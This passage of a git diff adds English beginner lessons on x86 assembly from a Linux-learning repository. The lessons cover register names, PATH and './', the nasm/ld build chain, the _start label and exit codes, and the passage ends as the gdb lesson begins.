+Today most of these count as "general-purpose" — that is, you can put them to almost any job you want. But the names stuck, and some instructions **still** prefer certain registers (for example some loop/counter instructions like ECX, some multiply instructions like EAX/EDX). We'll see these in the relevant lessons as they come up. So they're "general-purpose" but not exactly equal — keep this small honest note in your pocket.
+
+### Then the leading "E": Extended
+
+On the old machines these registers were **16-bit** — that is, AX, BX, CX, DX held 16 bits (2 bytes). With the 80386 processor (1985) the registers were extended to **32 bits**. This extended form was called "**E**xtended AX" → **EAX**. So the leading E, in short, means "extended, 32-bit version."
+
+The nice part: the old 16-bit AX didn't disappear — today AX lives on as the name for accessing the **lower 16 bits** of EAX:
+
+```
+ EAX (32 bit)
+ ┌───────────────────────────────────┐
+ │ │ AX │ AX = lower 16 bits of EAX
+ │ │ (16 bit) │
+ └───────────────────────────────────┘
+```
+
+(As for AX itself being split internally into two bytes called AH and AL — and why that means "not separate boxes, but different windows onto the same bits" — we look at that in the very next short interlude lesson, [04.5_registerin_ici](./04.5_registerin_ici.md). For now it's enough to say "AX is the small form of EAX.")
+
+### And afterward: RAX (64-bit)
+
+Let's complete the story: on 64-bit machines the same register grew once more, became 64 bits, and its name became **RAX** (the R here from "register," a bit arbitrary). So the same pocket box has three sizes it has grown into:
+
+```
+ AX (16-bit) → EAX (32-bit) → RAX (64-bit)
+```
+
+In this course we work at the **32-bit (EAX)** tier. But if you see AX, EAX, or RAX somewhere, you now know: they're all the same register at different sizes.
+
+> 🔑 Summary: The letters (A/B/C/D) came from old special roles; the leading **E** = Extended (16→32-bit expansion). AX(16) → EAX(32) → RAX(64) are three sizes of the same box. Our world is EAX.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The source of the box/register/worker model we deepened in this lesson
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — Going one level deeper inside the registers: AL, AH, and "same bits, different window"
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — Where the "fetch → store" dance is done with real instructions
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll watch registers, addresses, and the "finger" walking, live
+
+---
+
+**Previous topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+**Next topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
new file mode 100644
index 0000000..1ad5847
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -0,0 +1,150 @@
+# 🔧 x86 Assembly — Behind the Curtain: What Did Those Commands Actually Do?
+
+> In 05 you wrote three commands and the program ran: `nasm`, `ld`, `./ilk`. It worked — but
+> if something is nagging at you about "what exactly happened behind the curtain?", this lesson is just for you.
+> We unpack three good "why"s one by one: how the shell finds the program, why you still need
+> `ld` even though `nasm` already assembled it, and whether the word `_start` is really "magic".
+
+> **This lesson is an optional deep dive.** If you finished 05 you can go straight to 06, you won't
+> miss anything. But if one of the questions above is nagging at you too, the answers are here — and all of them
+> **tested** on my own machine, with real output. We're still not memorizing new commands; we're just understanding what happened.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Do We Write `./ilk`?](#why-do-we-write-ilk)
+- [If `nasm` Assembled It, Why Do We Need `ld`?](#if-nasm-assembled-it-why-do-we-need-ld)
+- [Is `_start` a Magic Word?](#is-_start-a-magic-word)
+
+---
+
+## Why Do We Write `./ilk`?
+
+In 02 we typed `ls`, `echo` and they ran without anything in front of them. But when you call your own program `ilk` it can't find it — you absolutely need `./ilk`. Is the worker blind? No. The issue is **where the shell looks for the command.**
+
+When you type `ls`, the shell doesn't pull it out of thin air; it searches a fixed list of folders called the **PATH**. This list looks something like:
+
+```
+ PATH = /usr/bin : /bin : /usr/local/bin : ... (folder after folder)
+ │
+ └─ "ls" sits here (/usr/bin/ls) → found → ran
+```
+
+Programs like `ls`, `echo` live in one of these folders; the shell walks the list, finds them, runs them. But your `ilk` program is **in the folder you're in** (say `~/Desktop`), and that folder is **not** on this list. Result:
+
+```
+ "ilk" → shell looks in the PATH folders → not there → "command not found"
+ "./ilk" → "don't look at the list at all, run the ilk in EXACTLY THIS FOLDER" → runs
+```
+
+So why isn't the folder you're in on the PATH? **Security.** If it were searched automatically, someone could give a malicious program the name `ls` and drop it in a folder; when you `cd` into there and type `ls`, you'd unknowingly run theirs instead of the real `ls`. That's why the folder you're in is never searched automatically — if you're going to run something from there, you have to say so **explicitly**.
+
+`./` says exactly that: `.` = "this folder", `/` = separator. So `./ilk` = "run the `ilk` that is **right here, in this folder**." It means: don't trust the list, I'm telling you the location.
+
+> 🔑 The shell searches for commands in a folder list called the **PATH**. `ls` is on that list; your new program isn't. `./` = "don't look at the list, run the one **in this folder**." The folder you're in not being on the list isn't a flaw, it's a deliberate **security** measure.
+
+---
+
+## If `nasm` Assembled It, Why Do We Need `ld`?
+
+What `nasm` does is clear: it assembles the asm you wrote into machine code and gives you `ilk.o`. A reasonable question: since it's already been assembled into the numbers the worker understands, why can't we run it directly instead of `ld` stepping in between? There's no other "to-be-combined" piece around either.
+
+The answer: that `.o` file **isn't a full program yet** — in your words, a half-baked cake. When I ask the `file` command, it plainly distinguishes the two:
+
+```
+ ilk.o : ELF 32-bit ... relocatable ← "relocatable" = not yet runnable
+ ilk : ELF 32-bit ... executable ← the actual program (runs)
+```
+
+I tried forcing the `.o` to run (`chmod +x ilk.o; ./ilk.o`) and the kernel cut it short:
+
+```
+ ./ilk.o → Exec format error
+ (kernel: "this is not a runnable program")
+```
+
+So the `.o` really can't run; something is missing. `nasm` produced the machine code, but for the program to be loadable by the operating system, two more things are needed, and **`ld` adds them:**
+
+1. **The program "envelope" (headers).** A running program wants a cover that tells the kernel "load me at this spot in memory, start me from here (entry point), and what permission each part has." The `.o` doesn't have this cover.
+2. **Addresses getting finalized.** In the `.o`, some addresses hold a blank spot marked "to be filled once everything is placed in memory". `ld` decides the final layout and fills those blanks.
+
+And the name "linker" really comes from this: in big programs there are **many** `.o` files and ready-made libraries. `ld`'s job is to link a `call` in one file to a function in another file and stitch them all into a **single** program. In yours there's no piece to be linked from outside — but `ld` is still required because it does the "envelope + address" work above.
+
+```
+ nasm ld
+ ──────► ilk.o ──────────► ilk
+ (relocatable) (executable)
+ half-baked envelope + addresses done
+ CAN'T run alone runs
+```
+
+> 🔑 There are two separate jobs: **`nasm`** *assembles* a file's text into machine code (`.o`); **`ld`** *turns* those pieces into a real, loadable program (envelope + final addresses + stitching the pieces). The `.o` is a half-baked cake; `ld` makes it serviceable. The reason there are two steps: so you can assemble many files separately and combine them all in one go at the very end.
+
+---
+
+## Is `_start` a Magic Word?
+
+This is the cleverest question, and its answer confirms the very thesis of 01 ("the worker knows no words, only numbers"). In short: **`_start` is not for the worker (CPU), it's for the TOOLS.**
+
+The worker **never sees** the word `_start`. By the time the program runs, that word has long since turned into a **number — an address**. The worker just starts running from a certain address; it has no idea that address was once called "_start".
+
+So who cares about this word? **`ld`.** When it's setting up the program, it needs the information "**which address should it start from?**" (the entry point), and **by default it looks for a label named `_start`** and treats its address as the "start". So `_start` is a silent **agreement** between you and `ld`: "this is the name of the start."
+
+So why do we write `_start` **twice** in the program — one `global _start`, one `_start:`? Two separate jobs: `_start:` (with the colon at the end) **hangs the label** on that line, saying "this is _start". `global _start` **announces** that label **outward, to `ld`** — "let the outside of the file see this name too." Without `global`, the label stays only inside the file; `ld` wouldn't be able to find the `_start` it looks for as the default start. So `_start:` *sets* the name, `global` makes it *visible*.
+
+I tried this — I made the label `_basla` instead of `_start`:
+
+```
+ nasm -f elf32 basla.asm -o basla.o
+ → no problem. nasm didn't care about the name at all; to it, a label is just a label.
+
+ ld -m elf_i386 basla.o -o basla
+ → ld: warning: cannot find entry symbol _start; defaulting to 08049000
+ (ld: "I couldn't find the '_start' start you promised me, so I'm putting the
+ entry at the beginning of the code." In this tiny program the beginning of the
+ code happens to be exactly _basla's first instruction, so the program DOESN'T
+ crash, it runs fine — indeed I tried it, the exit came back 42. Danger only
+ arises if your start label isn't at the beginning of the code, i.e. if the
+ entry accidentally lands on data or in the middle of another instruction; that's
+ why in real/big programs _start is still expected.)
+
+ ld -m elf_i386 -e _basla basla.o -o basla
+ → ran. ("-e _basla" = telling ld "the entry point is _basla")
+```
+
+So you can write `_basla`, or `_bismillah` too — the only condition is telling `ld` "the start is this" with `-e `. The word isn't magic; it's just the name `ld` **defaults** to expecting, and it can be changed with a flag.
+
+And the beautiful part is that this is exactly the topic of **[01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md):** labels like `_start` exist purely for humans and tools. By the time `nasm`+`ld` finish their job, every name has turned into a number (address); the worker runs on numbers, the names evaporate. Meaning, again, is not inside the number, it's in the agreement.
+
+> 🔑 `_start` is not for the worker, it's for `ld`; it's `ld`'s default "start" name. If you want, you put another name and say `ld -e `. Once assembled, all names turn into numbers (addresses) — the worker never sees `_start`. (This is the live form of the idea in 01.5 that "meaning is given not by the name but by the agreement/code".)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ The shell searches for the command on the PATH (folder list). ls is there; your program isn't.
+ - ./ilk = "don't look at the list, run the one in THIS folder." The folder not being on the list = security.
+☐ nasm assembles → ilk.o (relocatable, half-baked, CAN'T run → "Exec format error").
+ ld → ilk (executable). ld adds: program envelope (headers) + final addresses + stitching the pieces.
+ - Two steps, because: so you can assemble many files separately and combine them at the very end.
+☐ _start isn't magic: not for the worker, for ld. It's ld's default "start" name.
+ - Another name → tell it with ld -e . (nasm doesn't care about the name.)
+ - Once assembled, all names turn into numbers/addresses; the worker never sees _start. (01.5!)
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Where you first used these three commands (`nasm`, `ld`, `./`)
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Meaning is given by the agreement, not the name" — the root of why `_start` isn't magic
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — The ground where the shell, running commands, and the PATH come up
+
+---
+
+**Previous topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+**Next topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
new file mode 100644
index 0000000..8f5e9e2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
@@ -0,0 +1,211 @@
+# 🚀 x86 Assembly — Setup and Your First Program
+
+> Throughout Unit 0 we built up what goes on inside the machine's head without writing a single line of code. That patience now pays off.
+> In this lesson, for the first time, you install the real tools, write your first real program, assemble it, and **run it.**
+> The program will do almost nothing — on purpose. Because the hero here isn't the program, it's the chain itself:
+> how the text coming out of your keyboard turns into a real program the processor runs.
+
+> **This is the first time there's code — but don't be scared.** You don't need to fully understand the asm you'll write just yet; writing a few lines like
+> a **closed box** and seeing that the chain works is enough. What those lines actually do we'll open up one by one in the coming lessons.
+> The only goal of this lesson: get the tools installed, and let you say "I ran a program."
+
+---
+
+## 📋 Table of Contents
+
+- [Three Tools: nasm, ld, gdb](#three-tools-nasm-ld-gdb)
+- [Install the Tools](#install-the-tools)
+- [Write Your First Program](#write-your-first-program)
+- [Write → Assemble → Run](#write--assemble--run)
+- [Did It Work? (Nothing Happened!)](#did-it-work-nothing-happened)
+- [Step by Step, What Happened?](#step-by-step-what-happened)
+- [If You Got an Error](#if-you-got-an-error)
+
+---
+
+## Three Tools: nasm, ld, gdb
+
+In 00 we said this: **you write assembly → a program translates it into machine code → the processor runs those numbers.** Now we're actually installing that "translating program" (and a couple of its friends). We have three tools:
+
+- **`nasm`** — the *assembler* (translator). It turns lines you write like `mov eax, 5` into the numbers (machine code) the processor actually reads. This is our main tool.
+- **`ld`** — the *linker* (combiner). It turns the raw piece nasm produces into a real program the operating system can load into memory and **run**.
+- **`gdb`** — the *debugger* (watcher). It lets you step through a program one instruction at a time and watch what happens inside. In this lesson we're only **installing** it; we'll start using it in [07_gdb_tek_adim](./07_gdb_tek_adim.md).
+
+For now, just keep in mind: **`nasm` translates, `ld` combines, `gdb` watches.**
+
+---
+
+## Install the Tools
+
+Depending on which Linux distribution you use, type **one** of the lines below into the terminal. (If you don't know which one: if you use Ubuntu/Mint, the first; if you use an Arch-based one —CachyOS, Manjaro— the second; if you use Fedora, the third.)
+
+**Debian / Ubuntu / Linux Mint:**
+```
+sudo apt install nasm binutils gdb
+```
+
+**Arch / Manjaro / CachyOS:**
+```
+sudo pacman -S nasm binutils gdb
+```
+
+**Fedora:**
+```
+sudo dnf install nasm binutils gdb
+```
+
+(`binutils` is the package that includes `ld`; it's already installed on most systems, but we listed it just to be safe.)
+
+Once the installation is done, check that it installed correctly:
+
+```
+nasm --version
+```
+
+You should see a line like this: `NASM version 2.16.01`. If you saw it, your tool is ready.
+
+> 💡 `sudo` means "do this with administrator privileges," which is why it may ask for your password. Because **installing** a program is a job that touches the system, it requires privileges — this is exactly the "changing the system requires a password" situation we touched on in 02.
+
+---
+
+## Write Your First Program
+
+Now we'll write your first program. With a text editor (`nano` in the terminal, or VS Code, whatever you use), create a file named **`ilk.asm`** and write exactly this inside it:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 1 ; the number for saying "end the program" (sys_exit)
+ mov ebx, 0 ; exit code: 0
+ int 0x80 ; call the kernel: "do what I said"
+```
+
+Don't worry, we won't dig through it line by line — but knowing roughly what's going on is enough:
+
+- **`section .text`** → means "from here on are the **instructions** the worker will carry out." (The code section of the program.)
+- **`global _start`** and **`_start:`** → the marker telling the worker "start the program **here**." `_start` is where the worker will read the first order. (Recall the sentence from 01: "you tell the worker 'start from this line'.")
+- The **three lines** below → for now a **closed box.** All together they're the way of saying "end the program cleanly." What `mov` does we'll explain in [06_ilk_gercek_program](./06_ilk_gercek_program.md), and what `int 0x80` (i.e. "calling the kernel") is we'll fully explain in [17_sistem_cagrilari](./17_sistem_cagrilari.md). Right now you don't even need to memorize it — just write it.
+
+> 💡 If you're using `nano`: open it with `nano ilk.asm`, type the above, then **Ctrl+O** (save) → **Enter** → **Ctrl+X** (exit). The parts starting with `;` are *comments* (the worker doesn't see them, they're just notes to you); you can skip writing them if you want.
+
+---
+
+## Write → Assemble → Run
+
+Your file is ready. Now we'll turn it into a program the processor can run and then run it. In the folder where `ilk.asm` lives, three commands in order:
+
+**1) Assemble** (asm text → machine code):
+```
+nasm -f elf32 ilk.asm -o ilk.o
+```
+`nasm` reads your file and translates it into machine code. `-f elf32` means "give the output in **32-bit** ELF format" (we're writing 32-bit x86). Result: an intermediate file named `ilk.o` (*object*).
+
+**2) Link** (object → executable program):
+```
+ld -m elf_i386 ilk.o -o ilk
+```
+`ld` turns that intermediate file into a real executable program. `-m elf_i386` means "link as **32-bit** (i386)." Result: a program named `ilk` that you can run.
+
+**3) Run:**
+```
+./ilk
+```
+The leading `./` means "run the `ilk` program **in this folder**."
+
+> 💡 **You might wonder:** *"We're compiling 32-bit; don't I need to install an extra 32-bit library (multilib)? The internet said so."* No — our program uses no library at all, it calls the kernel directly (`int 0x80`). So what comes out is a standalone, self-contained (*statically linked*) 32-bit program; nothing extra is needed. (If we link to the C library later, that's a separate topic.)
+
+---
+
+## Did It Work? (Nothing Happened!)
+
+You typed `./ilk`, hit Enter, and... nothing happened. No text appeared on screen, the prompt came back. **Don't panic — this is exactly what's expected.**
+
+Our program doesn't do anything; it just says "I was born, I immediately ended." We'll teach writing to the screen in [17_sistem_cagrilari](./17_sistem_cagrilari.md). So the absence of output isn't a bug, it's **by design.**
+
+So how will we know it worked? Let's ask the program for its **exit code**. Type this:
+
+```
+echo $?
+```
+
+What you'll see:
+
+```
+0
+```
+
+This `0` means "the program ended **cleanly, without errors**" (0 = no problem). This is the proof that the chain ran from start to finish: you wrote it, it assembled, it linked, it ran, it exited cleanly.
+
+> 💡 **If you're using a different shell:** `echo $?` works in bash and zsh (the defaults on most systems). But some shells like **fish** call this variable `$status` — if you're in fish, `echo $?` gives you an error; use `echo $status` instead (same result). Not sure? If `echo $?` gives an error, that shell uses `$status`; switch to it. (`echo $SHELL` also tells you which shell you're in.)
+
+> 💡 `echo $?` asks "**what was the exit code of the last program that ran?**" For now it's 0, because we wrote `mov ebx, 0` in our program. In [06_ilk_gercek_program](./06_ilk_gercek_program.md) **you** will decide this number — we'll put something else in `ebx` and make `echo $?` report it. Your first "the number I put came out on screen!" moment will be there.
+
+---
+
+## Step by Step, What Happened?
+
+What you just did was actually the picture we drew in 01-04 **becoming real for the first time.** Let's loop back and connect it:
+
+```
+ 1) You wrote a text (ilk.asm) → an order list close to the worker's language
+ 2) nasm translated it to MACHINE CODE → to numbers (like B8 05 00 00 00 from 00) → ilk.o
+ 3) ld turned it into an EXECUTABLE program → into a form the kernel can load → ilk
+ 4) You said ./ilk:
+ - the kernel put the program into memory (the storehouse)
+ - told the worker "start from _start"
+ - the worker carried out the instructions with fetch-do-advance
+ - reaching int 0x80 it said "I'm done," control returned to you (the prompt)
+```
+
+So that fancy phrase "running a program" ([01_bilgisayar_nedir](./01_bilgisayar_nedir.md)) was exactly this: putting your list of orders into memory, telling the worker "start," and it carrying out the list. Now you've done this **with your own hands.**
+
+---
+
+## If You Got an Error
+
+Getting an error on the first try is very likely — and as we said in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md), an error isn't your enemy, it's a **clue.** The most common ones you'll hit:
+
+- **`nasm: command not found`** (or `ld: command not found`) → the tool isn't installed. Go back to the **installation** step above and install the packages.
+- **`ilk.asm:5: error: ...`** → there's a typo in your asm file. nasm tells you **which line** it's on (5 in the example); go to that line and compare it letter by letter with the code above.
+- **`ld: cannot find ilk.o`** → the `nasm` step before the `ld` step didn't succeed (i.e. `ilk.o` was never created). First run the `nasm` command without errors, then `ld`.
+- If a command came back without printing anything (silence) → usually a **good** sign; it means that step finished without a problem. (The worker doesn't talk unnecessarily, remember.)
+
+Don't be afraid of typing a command wrong — worst case you get an error message, you fix it, you try again. That's the usual loop anyway: write → error → read → fix.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Three tools: nasm (asm→machine-code translator), ld (linker), gdb (watcher; we'll use it in 07).
+☐ Install: with apt / pacman / dnf nasm binutils gdb. Verify: nasm --version
+☐ First program skeleton:
+ section .text + global _start + _start: + (closed box for now) 3-line clean exit
+☐ The chain (in the folder where ilk.asm lives):
+ nasm -f elf32 ilk.asm -o ilk.o (assemble: asm → object)
+ ld -m elf_i386 ilk.o -o ilk (link: object → program)
+ ./ilk (run)
+☐ Nothing showing up is NORMAL: the program says "born-then-ended."
+ echo $? → 0 = clean exit (in the fish shell: echo $status). In 06 you'll decide this number.
+☐ 32-bit but multilib NOT NEEDED: our program is library-free, statically linked.
+☐ Error = clue: most of the time either the tool isn't installed or there's a typo.
+☐ This whole chain = the real form of the "write → put in memory → let the worker run it" picture we drew in Unit 0.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Where the "you write → nasm translates → the processor runs" chain is first told
+- [05.5_perde_arkasi.md](./05.5_perde_arkasi.md) — Behind the scenes of the commands you wrote in this lesson (`./`, `nasm`/`ld`, `_start`)
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Putting a value into a register with `mov` and seeing the exit code in `echo $?`
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — Where `int 0x80` (calling the kernel) is fully explained
+
+---
+
+**Previous topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+**Next topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
new file mode 100644
index 0000000..49bb570
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
@@ -0,0 +1,173 @@
+# 🎯 x86 Assembly — The First Real Program: mov and the Exit Code
+
+> The three lines we wrote in 05 were, for now, a **closed box** — we didn't fully know what they did. Now we open the first of those boxes.
+> In this lesson you learn the worker's most basic order: `mov`, that is, **"put this number in that box."**
+> And for the first time, you make **a number of your own choosing** appear on the screen. A small moment —
+> but for the first time you take command, and the machine listens to you.
+
+> **We're writing real instructions now, and this time we know what we're doing.** We'll pull `mov`
+> out of the skeleton from 05 and shine a light on it; we still leave the full insides of `int 0x80` to [17_sistem_cagrilari](./17_sistem_cagrilari.md).
+> In the end `echo $?` will tell you the number you put in — **"8!"** — and in that moment you'll say "I made this machine do something."
+
+---
+
+## 📋 Table of Contents
+
+- [mov: The Worker's First Order](#mov-the-workers-first-order)
+- [What Is an Exit Code?](#what-is-an-exit-code)
+- [Write and Run the Program](#write-and-run-the-program)
+- [Change the Number: You Took Command](#change-the-number-you-took-command)
+- [Can I See Inside a Box Directly?](#can-i-see-inside-a-box-directly)
+
+---
+
+## mov: The Worker's First Order
+
+In [01_bilgisayar_nedir](./01_bilgisayar_nedir.md), when we looked at the kinds of orders the worker takes, we put "**move**" first: *"put this number in that box."* Well, the real name of that order is **`mov`** (from English *move*).
+
+Its syntax is very simple:
+
+```nasm
+mov destination, source ; "put the source into the destination box"
+```
+
+The form you'll use most often is putting a number into a register (a pocket box):
+
+```nasm
+mov eax, 5 ; "put 5 in the eax box"
+mov ebx, 100 ; "put 100 in the ebx box"
+```
+
+Recall, `eax`/`ebx` were the worker's pocket boxes ([04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md)). `mov` is exactly the way to put a value into those boxes — and it's the worker's most-used order.
+
+> 💡 Its name is "move," but what it really does is **"copy / put."** The source is not emptied. For example you can copy from one box to another: `mov ebx, eax` = "put what's in eax into ebx" — eax still keeps its old value. (I tried this: after putting 13 in `eax` and doing `mov ebx, eax`, ebx also became 13, and eax wasn't lost.) We'll see the other, memory-related forms of `mov` in [08_mov_ve_bellek](./08_mov_ve_bellek.md); for now "put a number in a box" is enough.
+
+> 🔑 `mov destination, source` = "put the source into the destination box." This is the only instruction you need to know in this lesson.
+
+---
+
+## What Is an Exit Code?
+
+When a program finishes, it leaves behind a small number: the **exit code**. This is the program's way of saying "I'm done, and here's my one-number summary." There's a convention: **0 = no problem / success**, a nonzero number = "such-and-such a situation/error happened."
+
+Who reads this number? The shell. And when you type `echo $?` (we met it in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md); *if you use fish, `echo $status`*), what it shows you is exactly this: the exit code of the last program that finished.
+
+So where does the program put this number? In the exit operation we use, the exit code is taken **from the `ebx` box**. That is:
+
+```nasm
+mov ebx, 8 ; exit code will now be 8
+```
+
+Well, recall the skeleton from 05: there we wrote `mov ebx, 0`, which is why `echo $?` always said 0. Now we'll replace that 0 with a number **of our own choosing**.
+
+> 🔑 Exit code = the single number a program leaves behind when it finishes (convention: 0 = no problem). On exit, this number is read from the `ebx` box; so `mov ebx, ` determines it. You see it with `echo $?` (fish: `echo $status`).
+
+---
+
+## Write and Run the Program
+
+With an editor, create a file named **`cikis.asm`** and write this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8 ; exit code: 8 ← the number we chose
+ mov eax, 1 ; job to do: "exit" (sys_exit request)
+ int 0x80 ; call the kernel: do the above
+```
+
+You can already read most of these lines:
+
+- `mov ebx, 8` → "put 8 in the ebx box." This will be our exit code.
+- `mov eax, 1` → "put 1 in the eax box." The 1 here is the number that tells the kernel "the job to do is **exit**." (We'll fully explain where these numbers come from in [17_sistem_cagrilari](./17_sistem_cagrilari.md).)
+- `int 0x80` → "call the kernel, do what I prepared above." (Its insides are also in 17.)
+
+These two `mov`s are independent of each other — it doesn't matter which one you write first (in 05 the order was reversed, `mov eax, 1` came first; the result was still the same). What matters is that both are ready before we reach `int 0x80`.
+
+Now assemble, link, and run with the **same chain** as in 05:
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+./cikis
+echo $?
+```
+
+What you'll see:
+
+```
+8
+```
+
+There it is! This **8** on the screen isn't a random 0 like in 05 — it's **the number you put in with `mov ebx, 8`.** For the first time you told the machine a number, and it gave it right back to you.
+
+> 💡 *If you're in the fish shell*, the last line will be `echo $status` (see 05). The result is the same: `8`.
+
+> 💡 **You may be wondering:** *"What if I never write those last lines (`mov eax, 1` + `int 0x80`)? After the worker does `mov ebx, 42`, will it stop on its own?"* No — and the reason matters: **there is no place where the worker stops by itself.** The end of the list doesn't mean "stop." If you don't write the exit, the worker keeps on fetch-do-advance; it reads the **memory garbage** after your last line as if it were an instruction — like a brakeless car, it plunges off the cliff where your code ends. Before long it touches memory it isn't allowed to, and **that's the moment the operating system steps in:** it stops you and kills **only your program.** The terminal says `Segmentation fault`, and `echo $?` gives **139** (meaning "killed by a signal"). I really tried it: `mov ebx, 42` with no exit → `Segmentation fault`. **But the computer is perfectly fine** — the kernel, like a bouncer at the door, throws the misbehaving process out and lets it touch nothing in the system. (Proof against the "will I break something" fear from 02: you can't lock up the machine with an ordinary program.) The lesson's point: **telling the worker "stop" is your job** — that's exactly why the last of those three lines exists.
+
+---
+
+## Change the Number: You Took Command
+
+Now enjoy it. Open `cikis.asm`, replace the `8` with another number — make it `42`, for example:
+
+```nasm
+ mov ebx, 42 ; exit code: 42
+```
+
+Assemble, link, run again (three commands), then `echo $?`:
+
+```
+42
+```
+
+You see whatever you put in. I really tried it: `8 → 8`, `42 → 42`. **You now determine the output** — this is the essence of programming. It looks like a small number, but a big door just opened here: the machine does what you say.
+
+> 💡 **You may be wondering:** *"I put 300 in `ebx` and tried it, but `echo $?` said 44 — why not 300? And what happens if I put in a negative number?"* Because the exit code is **a single byte** ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)): it only holds 0–255, and it **wraps around in both directions** — just like a car's odometer. It overflows upward: `300` doesn't fit, so it rolls over from the top → `300 − 256 = 44`. Below, a negative wraps from the bottom: I tried `mov ebx, -5`, and `echo $?` said **251** (`-1 → 255`, `-2 → 254`, … `-5 → 251`). The name of this trick for storing a negative inside a byte is *two's complement*; we'll fully explain how it works later, in the arithmetic topic ([09_aritmetik](./09_aritmetik.md)). For now: **the exit code is a byte from 0–255, and it wraps around in both directions.**
+
+---
+
+## Can I See Inside a Box Directly?
+
+You may have thought: "I put 8 in `ebx` and saw it with `echo $?`. So if I put something in `eax`, can I see that too?"
+
+Right now you **can't** — and the reason matters: `echo $?` only shows the **exit code**, and that comes only from `ebx`. So your only "window" for now is `ebx` (by way of the exit code). Even if you put 8 in `eax`, `echo $?` won't show it; it always looks at `ebx`.
+
+So what if you want to see inside any box (`eax`, `ecx`, `edx`… ) **at any moment** you like? For that you need a tool: **`gdb`** (recall we installed it in 05). The next lesson ([07_gdb_tek_adim](./07_gdb_tek_adim.md)) is exactly for this: gdb opens all the windows — you watch the value of each box one by one while the program runs. Your "write an instruction → see what changed" moments start there.
+
+> 🔑 Right now the only way to see inside a box is to put it in the exit code (`ebx`) and type `echo $?`. We'll unlock seeing all the boxes whenever you want, with `gdb`, in 07.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ mov dest, source = "put the source into the dest box." The worker's most basic order.
+ - mov eax, 5 → put 5 in eax (number into a box)
+ - mov ebx, eax → copy what's in eax into ebx (source not emptied; "move" is really "copy")
+☐ Exit code = the single number a program leaves when it finishes (convention: 0 = no problem).
+ - On exit it's read from ebx → mov ebx, determines it.
+ - You see it with echo $? (fish: echo $status).
+☐ First meaningful program: mov ebx, + mov eax, 1 + int 0x80.
+ Chain: nasm -f elf32 → ld -m elf_i386 → ./cikis → echo $? → your number!
+☐ Exit code is a SINGLE BYTE (03): 0..255. Wraps in both directions: overflows at the top (256→0, 300→44), a negative wraps from the bottom (-5→251).
+☐ The worker does NOT stop by itself: if you don't write the exit (int 0x80) it runs into memory garbage → Segmentation fault (139). But the kernel kills only the process, the system is fine.
+☐ echo $? shows only ebx (the exit code). To see the other boxes → gdb (07).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Where the "move" order and the "put the result in the exit code" idea were first previewed
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Seeing inside all the boxes (registers) live
+- [09_aritmetik.md](./09_aritmetik.md) — With `add`/`sub`, not just putting anymore, but computing
+
+---
+
+**Previous topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+**Next topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
new file mode 100644
index 0000000..447bdf7
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -0,0 +1,279 @@
+# 🔬 x86 Assembly — Single-Stepping with GDB: Watching Inside the Boxes Live
+
+> At the end of 06 we made a promise: `echo $?` only showed you a **single window** (`ebx`, through the exit code).
